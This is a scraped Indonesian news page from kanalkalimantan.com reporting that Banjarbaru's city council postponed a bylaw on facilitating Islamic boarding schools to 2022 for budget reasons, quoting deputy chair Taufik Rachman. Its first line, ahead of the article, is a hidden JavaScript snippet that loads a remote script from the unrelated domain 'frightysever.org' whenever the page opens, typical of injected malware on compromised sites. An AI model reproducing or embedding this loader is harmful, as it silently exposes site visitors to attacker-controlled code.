(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Raperda Fasilitasi Pontren Tertunda, Ini Kata Wakil Ketua DPRD Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Fraksi di Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru mempertanyakan salah satu Rancangan Peraturan Daerah (Raperda) yang diminta untuk ditunda oleh Pemerintah Kota (Pemko) yaitu Raperda Fasilitasi Pondok Pesantren.

Penundaan pembahasan Raperda tersebut juga disebabkan oleh keuangan daerah yang masih belum stabil.

Wakil Ketua DPRD Kota Banjarbaru, Taufik Rachman mengatakan Raperda tersebut ditunda karena kemampuan keungan Pemerintah Kota Banjarbaru yang masih belum stabil.

“Kita juga harus melihat pada kedua sisi keadaan, jadi bukan hanya Perdanya saja tapi kemampuan keuangan kita,” ujarnya.

 

 

Baca juga: Vaksinasi Dosis Lengkap di Lapas Banjarbaru 100 Persen

Taufik mengungkapkan di tahun 2022 mendatang Raperta yang merupakan inisiatif dari DPRD Kota Banjarbaru akan masuk pembahasan terkait Fasilitasi Pondok Pesantren (Pontren) yang ditunda, dikatakan Politisi Partai Golkar ini, Raperda tersebut akan masuk list dalam pembahasan Raperda di tahun 2022.

“Sudah dimasukkan di 2022, Raperda itu salah satu yang akan kita bahas. Menjadi list yang akan dibahas,” ungkapnya.

Diharapkan Taufik di tahun 2022 Kota Banjarbaru mengalami peningkatan dari segi ekonomi, serta keadaan keungan menjadi bagus, sehingga Raperda Fasilitasi Pontren akan dibahas serta ditindaklanjuti.

Dilanjutkannya, karena dengan adanya Ralerda ini akan ada biaya atau dana yang dikeluarkan untuk menunjang berjalanya Perda tersebut Karena harus ada perhatian seperti sarana dan prasarana serta guru.

Baca juga: Vaksinasi Dosis Lengkap di Lapas Banjarbaru 100 Persen

Lebih jauh Taufik tidak berani berstatement kalau terjadi penundaan Raperda Fasilitasi Pontren disebebkan mekanisme Raperda tersebut akan ada dipembahasan.

“Nanti kita tunggu di pembahasan, dari beberapa fraksi nanti bisa menilai apakah ini sudah layak dilanjutkan atau perlu ditunda, kita belum tahu,” tandasnya.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

6 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

8 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

23 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

24 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

1 hari ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

1 hari ago

This website uses cookies.